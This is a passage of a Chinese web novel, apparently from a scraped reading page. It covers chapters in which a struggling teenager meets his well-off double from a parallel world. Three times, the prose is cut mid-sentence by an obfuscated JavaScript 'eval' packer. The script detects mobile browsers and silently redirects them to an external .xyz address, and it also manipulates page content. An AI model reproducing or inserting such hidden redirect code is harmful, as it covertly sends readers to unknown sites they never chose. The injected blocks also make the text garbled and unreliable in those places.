陈亦临吓了个激灵,他猛地扭过头,就看见“陈亦临”跷着二郎腿坐在沙发里,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560162|186930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手里还拿着一个平板电脑,脖子上挂着个很酷的耳机,一看就很贵。
“陈亦临”扔下平板起身,目不斜视地穿过了他的身体,走进了厨房里。
陈亦临愣了一下,跟着“陈亦临”走进厨房,伸手在他眼前晃了晃,对方却眼睛都没眨一下,显然是看不见他。
“哎。”他谨慎又警惕地小小喊了对方一声。
“陈亦临”却像根本没听见,拿起碗捧在手里,感情丰富道:“亲爱的老妈,您的宝贝儿子快要饿死了,申请先吃块排骨充饥,好多背两个单词。”
林晓丽和陈顺乐成一团,林晓丽给他舀了块小排骨:“这个应该熟了,慢慢吃小心烫啊。”
“陈亦临”叼着块排骨烫得龇牙咧嘴,又将碗伸出去:“再来一块吧。”
陈亦临看着“陈亦临”碗里的排骨,好不容易压下去的饿意又汹涌而来,他舔了舔干涩的嘴唇,伸手去拿排骨,果然还是穿了过去。
他不死心,又往“陈亦临”脑袋上捶了两下,对方在啃排骨毫无反应,他这才确认对方真的看不到自己,说不清是松了口气还是有点遗憾。
林晓丽给他舀了两块,还浇了点汤:“顺便尝尝咸淡。”
“陈亦临”一手端着碗一手冲她竖大拇指:“刚刚好,我封你为厨神。”
林晓丽笑得十分得意,陈顺举着勺子道:“那我呢?”
“副厨神。”“陈亦临”嘿嘿一笑。
陈顺乐道:“行吧,副得也成,那就让副厨神来给你烧道小油菜。”
陈亦临低头看了看手里啃得乱七八糟的菜叶子,躲在“陈亦临”的背后,戒备地看着陈顺起火开锅。
小油菜被快速焯过水,叶片清脆欲滴,陈顺热好锅放凉油,将切好的蒜末炒到了金黄,还不忘教学:“这个火一定要小啊,上次你做的就糊了。”
“我那是忘了。”林晓丽哼了一声。
陈顺笑眯眯地也不反驳,碎碎念道:“翻炒一下,看着菜叶子软了就一勺耗油,一点生抽,再来一点点盐。”
他将盐洒下,卖弄地掂了掂锅子,利落地关火出锅:“好嘞,齐活儿。”
“鱼还要等一会儿,临临,饿了就先吃吧。”他将菜端到了桌子上。
“来,妈妈给你剥虾。”林晓丽将炖好的排骨盛出来,戴上了手套开始剥虾。
陈亦临看得大为震撼。
好离谱的幻觉,这么大人竟然还要妈妈剥虾,“陈亦临”简直就是个妈宝男。
“陈亦临”已经在饿得在闷头扒饭,他叹了口气道:“老妈,李阿姨什么时候休完假?”
林晓丽有点伤心地看着他:“怎么了,是爸爸妈妈做饭不好吃吗?”
“陈亦临”叹了口气:“你们从两点开始做午饭,现在已经晚上六点了。”
“哎呀,这不是想让你吃得有营养一点嘛。”林晓丽笑道,“再说这个砂锅炖出来的排骨格外香呀,来宝贝儿,吃虾。”
“陈亦临”张嘴叼走了她手里的虾,认命地嚼着上面没剥干净的虾壳,含糊不清道:“老妈,还是我给你剥吧。”
陈亦临幸灾乐祸地看着他吃瘪,坐在餐桌前看着一道道菜被放上来,就好像自己也在餐桌上一样,不知道为什么,他有点莫名的兴奋。
他还特意挑在了“林晓丽”身边坐下,在她投喂“陈亦临”的时候,故意张大嘴假装抢走,自顾自乐了半天。
“对了,我已经让你吴叔帮忙联系了医生,周末我和你妈妈陪你去检查一下。”陈顺在饭桌上道,“今天有看见幻觉吗?”
玩得正开心的陈亦临一下子支棱起耳朵。
“陈亦临”摇了摇头,说:“昨天是第一次出现,可能是最近熬夜太累了。”
林晓丽面露担忧:“护身符要随身戴好,肯定是撞到不干净的东西了。”
“老妈,太夸张了。”“陈亦临”看起来很无奈。
陈顺道:“也不一定是夸张,听你妈妈的话,护身符戴好,改天我们再去给你求一个。”
陈亦临这才看见坐在对面的人脖子上挂了条小红绳,轻嗤了一声。
真是家里的宝贝疙瘩,难怪出现了幻觉都不怕。
一家三口其乐融融地吃着晚餐,有一搭没一搭地说着话,陈亦临看得见闻得到却吃不着,心里直冒酸水,气得闭上了眼睛。
再睁眼,周围的交谈声和饭香味消失无踪,只剩下漆黑空荡的房间和他手里啃得没多少的小油菜。
他孤零零地坐在餐桌前,愣了好一会儿。
想了想,他皱着眉闭上眼睛,再睁眼依旧是空无一人的房间,他不死心地试了好几次依旧没效果,最后只好放弃。
他自己坐了一会儿,起身到冰箱里拿起另一颗油菜,学着幻觉里“陈顺”的做法,备好佐料,焯水,然后按照记忆里的步骤手忙脚乱地炒出了一道有点糊的青菜。
有点熟悉的香味蹿进鼻腔,他惊喜地耸了耸鼻子,乐颠颠地端着菜放到了餐桌上,没找到饭,就去卧室拿了包方便面泡上,一口泡面一口菜美滋滋地吃了起来。
开心。
他又盯着那盘有点糊的菜傻笑起来。
嘿,他竟然会炒菜了。
他现在要封自己为独臂厨神。
4. 地址
房间里弥漫着淡淡的蒜末被炒糊的气味。
陈亦临抬起一条腿,将一只脚踩在椅子边缘,脚心被木头硌着,他又将另一条腿也挪了上来,蜷缩起来的姿势和刚吃完饭的饱腹感让他觉得无比安全。
但接下来他又不得不开始思考现实问题:他的右手骨折了,吴时这只铁公鸡是绝对不会再用他了,他失去了一天中唯一的一顿饱饭,卡里的钱是决计不能动的,冰箱里的菜总有一天是会吃完……
他又不可避免地想起另一个陈亦临来。要不是因为他,自己的手也不会骨折,他们明明长得一样,“陈亦临”却住着漂亮的大房子,有着疼爱他的爸爸妈妈,“陈亦临”大概这辈子都不用为这些问题发愁。
他想,我要是“陈亦临”就好了。
他又想,“陈亦临”会不会也有烦恼,根本不像自己看到的那么幸福?
他忍不住又想起“林晓丽”做的排骨和“陈顺”做的红烧鱼,那应该是一种什么味道呢?会不会和现实世界里的菜不一样?
也许“陈亦临”根本尝不出菜的味道,因为“陈亦临”要么是只鬼,要么是他的幻觉,一切都是他自己想象出来的。
这样一想,他忽然觉得“陈亦临”有点可怜。
窗外的夜色渐深又渐亮,客厅里只剩下时钟秒针啪嗒啪嗒的转动声,他抱着自己的石膏手臂不知道发了多久的呆,脑海中忽然闪过一个念头:如果他再看见“陈亦临”,并且“陈亦临”也能看见他的话,那他一定不会再拿消防斧砍对方了。
可惜接连好几天,他都没有再出现过幻觉。
吴时得知他骨折,在电话里抱怨了一通,并且表示这个月他干了没几天,不会给他发工资;最近几天一直在下雨,温度一天比一天低,原本采光就不好的房子更加阴冷,他洗的床单和衣服一直没有干;陈顺不知道是在外面玩嗨了还是害怕他再拿刀砍人,一直没有回来过,这大概是唯一一件值得让人开心的事情了。
陈亦临翻出了压在箱底的卫衣,上面的褶皱死活捋不平,凑近闻还一股闷出来的潮湿味,他拖着残废的右臂和这件卫衣殊死搏斗半天,终于将头套了进去,却卡在了领口。
他忽然想起来连帽的抽绳之前被自己拽进系了个死结。
刚才他只愁着怎么把右边的袖子撑开将石膏胳膊套进去,现在好不容易成功了,结果他半弯着腰举着右胳膊,穿不进去更脱不下来,急得他原地转了两圈。
在左手疯狂地摸索绳结试图解开无果后,他终于成功把自己惹毛了。
“操!”陈亦临转身就要去找剪刀。
今天不杀了这件卫衣他就不姓陈!
一声戏谑的笑贴着他的耳朵响起,伴随着温热的呼吸,似乎有阵暖呼呼的风扫过他的手背。
“谁!”他吓得一蹦,胳膊上的汗毛齐刷刷竖了起来。
“是我,朋友。”“陈亦临”熟悉的声音传进了他的耳朵里。
突如其来的惊喜混杂着惊吓让陈亦临脚步更乱,他像只弓背大虾到处乱转,急道:“靠,你先等会儿。”
“陈亦临”对他突如其来的礼遇有些摸不着头脑:“咦,你不怕我了?”
“怕你个鸟蛋,弄死你要花三千六,你还是活着吧。”陈亦临暴躁的声音从卫衣里面传来。
“陈亦临”笑出了声。
“笑什么笑,有本事你帮我解开。”陈亦临有些恼火。
“我碰不到你。”“陈亦临”慢悠悠地说,他似乎在思考,“但也许可以试试。”
陈亦临刚要怼他,忽然感觉背后贴上了股若有若无的温热,意识到那股缥缈的热气很可能是“陈亦临”之后,他硬是激出的层冷汗:“你干什么?!”
“嗯?”“陈亦临”的声音听上去也有点懵,“我以为和你重合就能控制你的动作。”
陈亦临一阵恶寒:“怎么可能?”
“文献里都是这么写的。”“陈亦临”像贴在他嘴巴上说话。
“什么狗屁东西!”陈亦临往前踉跄了几步,试图远离那片隐约可觉的热源。
“灵异事件综合研究——论灵体与实体接触方法的可行性报告。”“陈亦临”又凑了上来,“再试试。”
陈亦临十分烦躁:“你能不能别喘气了?”
“陈亦临”:“……”
陈亦临再次远离他,闷声道:“你一靠近我就有股热气,特别烦人。”
对方沉默了一会儿,陈亦临以为对方被吓到了,尴尬地正不知道说什么好,就感觉手背上划过一道温热的气息,紧接着“陈亦临”的声音传来:“能感觉到?”
“啊。”他攥着绳结的左手下意识地蜷缩了一下。
“往这儿。”“陈亦临”说。
那道若有似无的热气往左划了一下,陈亦临将信将疑地向左边摸去。
“停。”“陈亦临”又说,“摸到一个结了吗?”
“嗯。”陈亦临应声。
“把离你近的那根拽出来。”那道热气又轻轻划了他的手指一下。
“哦。”陈亦临接下来都照着他的话去做,两个人配合得还算默契,很快就将那些缠得乱七八糟的死结打开。
陈亦临冒出头来,深吸了一大口气,紧接着就闻到了熟悉的青柠味。
“陈亦临”顶着湿漉漉的头发站在他面前,热情地挥了挥手:“嗨~”
他离得太近,陈亦临警惕地后退一步,看到了他的新睡衣,雪白柔软的布料上印着几只小狗,正笑眯眯地冲他吐舌头。
“你刚洗完澡?”陈亦临问。
那股青柠味比之前闻到的要更浓郁一点。
“对啊,头发都没来得及擦,就看到你了。”“陈亦临”开始四处打量,“这儿是你的家吗?”
“租的。”陈亦临说。
不知道为什么,他并不想承认,也许是因为脱落斑驳的墙壁和布满了裂纹的地板,也许是因为“陈亦临”刚洗完澡看起来太干净。
“那可以参观一下吗?”
“不可以。”
“好的,谢谢。”“陈亦临”溜达着往门外走。
“哎你是不是听不懂人话?”陈亦临下意识地想拽住他,手掌却径直穿过了他的胳膊和肚子,拽了个空。
“陈亦临”转头看向他,脸上的表情有点怪异:“好像真是热的。”
“什么?”陈亦临问。
“你穿过我身体的时候,”“陈亦临”顿了顿,“像三伏天晚上的风。”
陈亦临愣了一下,抬起手试探地碰了碰他的脸颊:“那这样呢?”
“陈亦临”笑道:“像被小狗在脸上按了一爪子。”
过了好一会儿陈亦临才反应过来,恼羞成怒:“你才是狗!”
“陈亦临”老神在在地参观起他们家的客厅,陈亦临原本打定主意不想理他,但又忍不住好奇,还是跟在了他身后。
“有什么好看的?”陈亦临盯着他还在滴水的发梢,“你不去把头发擦干吗?”
“我怕离远了就看不到你了。”“陈亦临”转过头冲他笑道。
陈亦临觉得莫名其妙:“看不见不是更好?”
“当然不。”“陈亦临”忽然凑过来。
陈亦临感觉自己像被一大团青柠味的水蒸气包围,对方带着笑意的声音响起:“这件事情特别有意思,让我们来研究一下吧。”
陈亦临退后了一步,离开了他的包围圈,冷酷地拒绝:“我没那个闲功夫。”
“陈亦临”笑道:“那你在忙什么?”
“忙着想办法挣钱。”陈亦临举起打着石膏的右手敲了敲冰箱门,“因为没能砍死你,我的手骨折了,工作也黄了,等冰箱里的菜吃完,我就可以等死了。”
“陈亦临”愣住:“你没在上学?”
陈亦临沉默了下来。
“那你——”“陈亦临”欲言又止,额前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560163|186930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的碎发还在滴水,他伸手往后一撸,说出了一句非常酷的话,“要不我借你点儿钱吧。”
陈亦临猛地转过头盯着他,就像一头在盯着大肥羊的饿狼:“真的?”
大肥羊点了点头,但很快陈亦临就意识到了这件事情的荒谬之处,他有些一言难尽:“你是打算借我冥币吧,还是算了,听说你们那儿通货膨胀特别严重。”
“什么乱七八糟的,我是一个活生生的人。”“陈亦临”十分笃定。
陈亦临看着站在餐桌中央的“人”,沉沉地叹了口气:“你说是就是吧。”
“陈亦临”却不满意他这敷衍的态度,他走过来试图搭住陈亦临的肩膀,问:“我第一次见你是在医院里,第二次见你是现在,地点在我家的卧室,我看你的反应不像只见过我两次,你一共见过我几次?都是在什么地方?”
陈亦临躲开他的胳膊,尽管对方碰不到自己,他后背抵在冰箱门上,回忆道:“第一次是在篮球场上,第二次是在医院……这是第四次。”
他已经犯了四次病。
“那第三次呢?”“陈亦临”刨根问底。
“那不重要。”陈亦临再一次穿过他,坐在了椅子上,语气生硬道:“反正你也不是真实存在的。”
“怎么可能?”“陈亦临”失笑,“不信你去查,我告诉你我的身份证号和家庭住址,我爸我妈的名字和公司,你一查就能查到。”
陈亦临拧起眉。
“朋友,如果你不想再看见我,那更要找到原因解决问题才对。”他优哉游哉坐在了陈亦临对面,“我们首先要学会信任对方。”
陈亦临目光沉沉地盯了他半晌:“怎么查?”
“用电脑啊。”“陈亦临”说,“手机也行。”
“我家没电脑。”陈亦临木着脸道,“我也没手机。”
“陈亦临”抹了把脸上的水珠,幽幽道:“那就去网吧。”
陈亦临警惕地看着他:“那你为什么不查?”
“那也得你乐意告诉我才行啊。”“陈亦临”哭笑不得,“我一靠近你你就炸毛,跟只小刺猬似的。”
陈亦临有点烦他这张嘴,从冰箱底下摸出了三十块钱纸币,揣进了卫衣兜里走向门口。
“陈亦临”兴致勃勃地想跟上去,却被一股无形的力量拦在了半路。
“怎么了?”陈亦临扭头看向他。
“不知道,我感觉过不去了。”他的身体变得越来越透明。
陈亦临快步走到他面前,试图伸手抓住他,却再一次抓了个空,这次连热气都没感觉到,而“陈亦临”彻底消失前还不忘叮嘱他:“你可一定要去查啊,要是查到了就来找我,我借你钱!”
“知道了!”陈亦临被他搞得有点紧张,忍不住抬高了声音。
房间内,“陈亦临”消失得无影无踪。
陈亦临低头看了一眼自己的手,忍不住抓了一下,还是没能感受到热气。
走出楼道的时候,他判断出自己应该是病得更严重了,现在最重要的是去医院看病拿药,而不是去网吧查一个幻觉提供的地址——但看病要三千,去网吧只有三十。
要是查不到,那就能印证他真得了精神病,怒省两千九百七十。
尽管这样想,但当他坐在网吧的电脑前开始查询的时候,心脏还是紧张得突突直跳。
他怕“陈亦临”提供的地址是真的,又怕“陈亦临”提供的地址不是真的——“淮微省……”
他拧起眉,心里涌起了一股不详的预感,尽管他初中的地理知识学得很烂,但印象里也没有这个省份,他不死心地继续打:“云水市……荒市……万玄街道98号……”
搜索框内弹出了许多小说和游戏界面,却唯独没有官方地图上的确切地址。
【搜索的地址不存在】
陈亦临的心情瞬间跌到了谷底,又隐约松了口气。
他果然病得不轻。
5. 泡面
但好在不是真的见鬼了。
陈亦临盯着屏幕,忽然有些分不清得了精神病还是能见鬼哪个更糟——有病就得治,那就得花钱,这玩意儿还不一定能治好,但见鬼就不一样了,那属于是特异功能,说不定以后还能靠这个挣钱。
嘶。
陈亦临突然反应过来痛失了一个绝佳的就业机会。
真是见鬼。
他有点郁闷,开始从网上找招聘信息,但照旧一无所获,他要么学历不符合要求,要么年龄不够,点击鼠标的力道变得越来越暴躁,干脆将招聘页面一关,随便打开一节微积分课。
他连微积分是个什么玩意儿都不知道,越听越困,被老板晃起来的时候,口水流了一下巴。
从网吧出来,他的心情已经被知识熏陶得十分平静,外套也被烟味熏陶得十分恶心,北风拽着细雨气势汹汹地朝他扑了过来,冻得他打了个喷嚏。
操,这鬼天气。
他一只手揣进兜里,站在原地使劲蹦了蹦,看着街道上行色匆匆的人群,有点不知道该往哪儿走。
要是“陈亦临”在就好了,他俩还能说说话。
他漫无目的地在大街上游逛,偶尔看见店门前有招聘信息就走进去问问,但人家一看他手上打着石膏,二话不说就拒绝了,压根走不到问年龄看身份证的步骤。
在接连碰了一鼻子灰之后,他抱着胳膊蹲在休闲公园看几个老头下棋,虽然这盘棋和那节微积分一样都云里雾里,但几个老头儿冒雨下得激情澎湃,他也假装自己也是老头儿军团的一员,看得聚精会神。
但老头儿也架不住越来越狂野的北风,没过半个小时就原地解散,哆嗦着各回各家了。
他一抬头,看见了马路对面的医院。
——
庞郭刚准备下班,就看见上次那小孩儿垂头丧气地坐在走廊的椅子上,满脸心事。
“哟,怎么又回来了?”庞郭看了一眼表。
“马医生。”陈亦临很有礼貌。
“……我姓庞。”庞郭指了指墙上的医生介绍表,“你已经办理出院了,问诊的话先去门诊楼挂号,这儿是病房楼。”
“我不用做检查,我就是有病。”陈亦临费劲地回想,“那个什么幻听幻视,现在更厉害了。”
庞郭叹了口气:“这个有没有病嘛,不是你自己说了算的,我们要相信科学,最起码嘛,是吧,你得先通过仪器的精密检查,排除掉一些确切的病灶,才好下定论的是不是嘛?”
“没钱。”陈亦临一针见血,“医生,你就告诉我吃什么药能治,最好便宜点的那种。”
说实话,要不是精神病不好找工作,他连药都不想买。
庞郭吓得肚子上的肥肉抖了抖:“你这不是胡闹嘛,且不说我不是精神科的医生,就算是精神科的,也不能随随便便给你开药的,没钱你叫家长来,我跟他们谈,你不要有太大的心理负担嘛。”
陈亦临摇了摇头,失望地走开了。
庞郭好像在后面喊了他一声,但陈亦临没有听见,而是站在了原地。
原本空荡的病房走廊突然变得人满为患,荒市第一医院门诊的牌子格外显眼,男女老少神色各异熙熙攘攘,陈亦临就这么站在大厅中央,被潮水般的喧嚣彻底湮没。
恐慌感汹涌而来,他僵硬地转动着脖子,试图寻找什么,可连他自己都不知道在找什么,直到熟悉的声音穿过了他:“爸,妈,走这边。”
“陈亦临”穿了件黑白色的冲锋衣,擦干的头发干净清爽,他手里捏着几张单子站在指示牌前仰起头,以十分轻松地语气道:“精神科在七楼,但我觉得我有必要申明一点,我的精神状态十分良好。”
“那才出问题。”陈顺无奈摇头,“按理说你们这么大的小孩儿,正是最闹腾的时候,精神最不稳定了。”
林晓丽拎着个精致的手提包,声音温柔道:“没关系,偶尔做一下心理疏导也是好的,临临现在高三压力肯定很大……”
陈亦临走到指示牌下,伸手在“陈亦临”面前挥了挥:“哎?哎!”
“陈亦临”却完全无视了他,在穿过他的时候,也没有之前的“热气”,陈亦临不信邪,紧紧跟在他身后:“你看不到我了吗?我就在你旁边,喂!”
“陈亦临”和陈顺林晓丽有说有笑地进了电梯。
陈亦临有点生气,忍不住抬高了声音喊他:“陈亦临!”
电梯门打开,他试图跟在他们身后一起进电梯。
“陈亦临!!”一道更惊恐的声音突然在他耳朵边炸开。
周围喧嚣的人潮声倏然褪去,眼前的景象也消失无踪,冷风呼啸着灌进他的领口,冰凉的雨浇在脸上,陈亦临看着窗外林立的高楼,猛地清醒过来。
庞郭死死拽住他的胳膊,旁边有人冲了过来,帮着他一起将陈亦临拽离了窗边。
陈亦临看着庞郭和几个陌生人,一时有些分不清幻觉还是现实。
庞郭心有余悸地喘着气,瞪着他:“你这孩子,看着瘦怎么力气这么大?刚刚我差点拽不住你!”
“哎呀,年纪轻轻地有什么想不开的,孩子啊,咱不至于。”旁边的中年人穿着病号服,看着有点眼熟。
是之前和他一个病房的病友。
“我不是……”陈亦临欲言又止,说得有点没底气,“我不是想跳楼。”
虽然他有很多次跳楼的冲动,但这次不是,他只是想跟着“陈亦临”进电梯,看看对方是怎么检查的。
要是“陈亦临”的医生给他开药的话,他可以悄悄记下来,看能不能买到。
庞郭眉头拧得能夹死只苍蝇,中年人站在窗户前将陈亦临挡得死死的,其他人你一句我一句地开始劝导他,陈亦临刚开始还在点头,后面就变成了网吧里上微积分课,公园里看老头儿下象棋——耳朵在云里,眼睛在雾里。
“好了好了,大家散了吧,回病房好好休息嘛。”庞郭驱散了围观的人群,和来换班的医生把陈亦临带进了办公室。
那个中年人也跟了进来。
“药我肯定是不能给你开,但你有什么困难可以讲出来嘛,大家一起帮你想办法。”庞郭给他倒了杯水,“年轻人遇事要冷静,要多想办法的嘛。”
陈亦临很久没和这种看起来就很有本事的“大人”说过话了,他低头盯着杯子里的水,水面一半明一半暗,有一半是他的影子。
不知道过了多久,他才听见自己干涩的声音:“我没事,我只是在找工作,一直没找到。”
这已经是他能对其他人倾诉的极限了,至于父母离婚,陈顺家暴,早早辍学,没钱吃饭……这些更多的东西,他是没办法说出口的,翻出这些烂事讲给别人听,除了让他看起来更烂之外,没什么用处。
庞郭和那个中年人病友,你一言我一语地开始劝导他,他听得走神,忽然想起另一个陈亦临,他现在正在干什么呢?和爸爸妈妈看完病了吗?他们会不会一起去吃大餐?
“嗐,没什么过不去的,这事儿叔就能帮你解决!”
陈亦临突然被人一巴掌拍在肩膀上,他有些懵地看着对方:“啊?”
“芜城职业技术学院知道吧?”中年人递给了他一张名片,“我是餐饮公司的经理,他们学校的食堂二楼外包给我们公司了,有些家庭困难的孩子也来勤工俭学,正好我要开个新档口缺人手,你要觉得行就来。”
陈亦临有些迟钝地盯着名片上的字——“福泰饮食有限公司”“经理李建民”——他抬起头看向那个中年人,看着比陈顺年纪还要大一些,又低头看了看名片,站起身来朝对方鞠了一个九十度的躬,中气十足地吼道:“谢谢李总!”
几个人被他吓了一跳。
“哎哎哎,不用不用。”李建民生怕他再跪下给自己磕一个,赶紧扶住他的肩膀把他掰直。
陈亦临感激地看着他,略有迟疑:“不过我的手受伤了,可能有些活干起来不太方便。”
“没事儿,你先跟着学。”李建民笑道,“别嫌工资少就行。”
陈亦临使劲点了点头:“谢谢李总。”
“喊叔就行,我还不到总那个级别。”李建民拍了拍他的肩膀,“有工作干了可要想开啊,你年纪小不懂,等你到了我这个年纪就知道了,能活着比什么都实在。”
陈亦临又接连道谢,最后拿着名片离开了。
“李哥,这小孩儿没满十八,你真打算让他去你那儿?”庞郭还是有点不放心。
李建民笑着摆摆手:“嗐,要不是真被逼得没办法了,谁愿意想不开啊,我就当日行一善了,给自己积点儿德。”
庞郭道:“快点回去吧,明天要化疗,好好休息。”
李建民这才背着手溜达回病房。
——
陈亦临将那张名片仔细地放好,斗志昂扬地回到了家。
他哼着歌每个房间都转了一圈,确认陈顺没有回来之后,心情更是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560164|186930||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好到了极点,误打误撞找到了工作,而且还是在同一个学校食堂不用换环境,这对他来说再好不过了。
他要在方便面里卧俩鸡蛋庆祝一下。
“俩鸡蛋……啦啦啦……俩鸡蛋啊~”他打开冰箱,数了数还剩下的十四个鸡蛋,挑了两个幸运蛋抓在了手里,用肩膀将冰箱门关上,“嘿,俩鸡蛋儿——啊!”
他看着突然冒出来的“陈亦临”,手里那俩蛋差点没握住。
“陈亦临”笑眯眯地看着他:“回来啦?心情这么好?”
陈亦临看了他一眼,径直从他的身体里穿了过去,熟悉的温暖感传来,但他眼皮都没掀一下。
“怎么了?”“陈亦临”有些纳闷,跟在他身后进了厨房。
陈亦临直接无视了他,起锅烧水,撕调料包的时候,“陈亦临”猝不及防从他身体里探出头来,站在了他和灶台中间,抬手在他眼前挥了挥:“嗨~”
他离得太近,陈亦临后退了半步,冷声道:“别和我说话。”
“嗯?”“陈亦临”歪了歪头。
“你给我的地址全都是假的。”陈亦临拿着勺子指着他,“你根本不是现实存在的人,只是我精神病分裂出来的幻觉。”
“不可能。”“陈亦临”皱起眉,“我给你的都是真实信息。”
“别再骗我了,世界上怎么可能存在两个长得一模一样的人,而且我叫陈亦临,你也叫陈亦临。”陈亦临用勺子挥开他,将调料包洒进锅里,“我真是疯了才信你的话,还白搭上三十块钱,我们这儿没有淮微省。”
“陈亦临”若有所思地摸了摸下巴。
就在他以为这个幻觉会发表什么建设性的意见时,就见他转头看向锅子:“红烧牛肉面?”
“……”陈亦临想把他敲进锅里一块煮了。
“听着朋友,肯定是哪里不对。”“陈亦临”哥俩好地虚虚搭上他的肩膀,“不如这样,你告诉我你的住址,我来查。”
“别白费功夫了。”陈亦临盖上锅盖,靠在橱柜上抱着胳膊看向他,一脸冷酷,“等我工作了攒够钱,就买药来杀了你。”
“陈亦临”抬起一根手指在他眼前晃了晃:“不,亲爱的朋友,我想明白了。”
陈亦临面无表情地盯着他。
“陈亦临”眉峰下压,声音也沉沉的:“如果你查不到淮微省和荒市,有没有一种可能,我们两个不在同一世界里?”
“?”陈亦临挑了挑眉。
“比如说——平行世界。”“陈亦临”抬手摩挲着下巴,“你看,我们长得一模一样,你爸妈和我爸妈也长得一样,或许我们是两个世界的同一个人,只是在过着不一样的人生。”
他眼底的兴奋越来越强烈,他目光炙热地看向陈亦临:“这也太有意思了!”
“有意思个鸟蛋。”陈亦临嗤笑了一声,搅了搅锅里的面,心道这个猜测还不如他得了精神病。
“为什么?”“陈亦临”不解,“我们是一个人,只是在体验着不同的人生,我们可以比任何人都更了解对方,甚至还可以交流两个世界的信息,你想一下,这是一件多么美妙的事情。”
“砰!”
勺子重重地磕在了锅子上。
“陈亦临”从兴奋中抽离出来,看着面前脸色铁青的陈亦临,试探地问:“你觉得不好?”
“一点都不好。”陈亦临冷声道,“今天我在医院又看见你了,你和你爸妈去医院看精神科,我叫你,你却完全听不见也看不见,因为想跟着你进电梯,我差点从医院十七楼的窗户跳下去。”
“陈亦临”愣住:“可我在医院没有看见你。”
“先不说平行世界多么荒谬,现在你已经严重干扰到了我的正常生活。”陈亦临目光阴冷地盯着他,“我不管你是什么东西,又是为什么让我看见你,你要是再敢出现,我就对你不客气。”
“陈亦临”嘴角噙着的笑意缓缓消失。
陈亦临攥紧了手里的勺子,就在他准备抡上去的时候,却听见“陈亦临”温和又平静的声音:
“陈亦临,你的面煮好了。”
热气扑向了玻璃,烙上了一层白茫茫的雾,对面的楼陆陆续续开始亮起了灯光,雨水噼里啪啦打在窗外的铁皮上,发出了沉闷的声响,玻璃锅盖在沸腾的水汽下震荡不休,陈亦临看着浑浊的汤水,紧攥着勺柄的手力道微松。
“我知道。”
他听见自己这样对另一个陈亦临说。
6. 研究
热气腾腾的泡面被端到了桌子上。
因为之前被陈顺掀过好几次,木质的桌面有不少裂纹和小坑,上次连桌角都磕掉了一块,陈亦临盯着那块缺口看了一会儿,才拿起筷子吃面。
外面天已经黑了,风从窗户吹进来让人后背发凉,他瞥了一眼“坐”在餐桌对面的幻觉,问:“你不去吃饭?”
“我不饿。”“陈亦临”单手托着腮,兴味盎然地盯着他,“而且和吃饭比起来,研究你比较有意思。”
陈亦临:“……”
“我的意思是,研究目前这个现象。”“陈亦临”善解人意道,“这种事情普通人确实很难接受,你只是需要时间来适应一下。”
陈亦临咬了口荷包蛋,蛋黄没熟成了糖沁蛋,他呸了两口,拧起眉。
“哎,沁心蛋多好吃。”“陈亦临”不解。
“有菌蛋,没煮熟,拉肚子。”陈亦临的心情糟糕极了,但又不想起身去回锅,于是将蛋的缺口朝下按进汤里,企图用汤的余温将蛋烫死。
“要不还是再煮一下吧。”
“你为什么这么快就接受了?”
两个人异口同声,“陈亦临”看向他,明显这人没有要去煮蛋的意思,他沉默了一会儿,脸上浮现出一个略显神秘的笑容:“告诉你应该没有关系,其实我从小就对灵异事件别特感兴趣,两年前我偷偷加入了灵异事件研究组,现在已经是一名高级组员了。我平时研究得都是妖魔鬼怪,区区平行世界——”
陈亦临看他的眼神宛如在看一个神经病。
“陈亦临”无奈地摊手:“你看你,非要我说,说了你又不信。”
陈亦临心里涌上了一股无名火,他使劲舔了舔后槽牙:“你要是再多说一个字,我就把你按进碗里跟蛋一块熟。”
“陈亦临”潇洒地换了个手支着脑袋,另一只手往嘴巴上一拉,笑着点了点头。
陈亦临一天没吃饭,这会儿已经饿得前胸贴后背,他连汤带面加俩蛋全吞进了肚子里,勉强吃了个半饱,而“陈亦临”就这么老老实实坐在他对面,观察着他的一举一动。
他被“陈亦临”盯得有些不自在,单手拿起筷子和碗进了厨房,结果水龙头刚打开,“陈亦临”就飘了进来。
他装作没看到,趁着挤洗洁精时,用余光悄悄扫了对方一眼。
“陈亦临”嘴角那点笑意立刻放大,歪着身子探过脑袋来看他,指了指自己紧闭的嘴巴,双手合十朝他拜拜。
陈亦临那点火气瞬间烟消云散,他咬了咬牙,冷酷地盯着越凑越近的“陈亦临”:“你到底想干嘛?”
“陈亦临”站在水槽中央,笑眯眯道:“亲爱的朋友,让我们来研究一下这个奇妙的事件吧。”
陈亦临连明天早饭吃什么都研究不出来,更不用说和一个精神病衍生出来的“幻觉”研究什么见鬼的平行世界,但可能是因为刚吃完饭,也可能是因为他实在想和人说说话,于是他绷着脸道:“等我把碗刷了。”
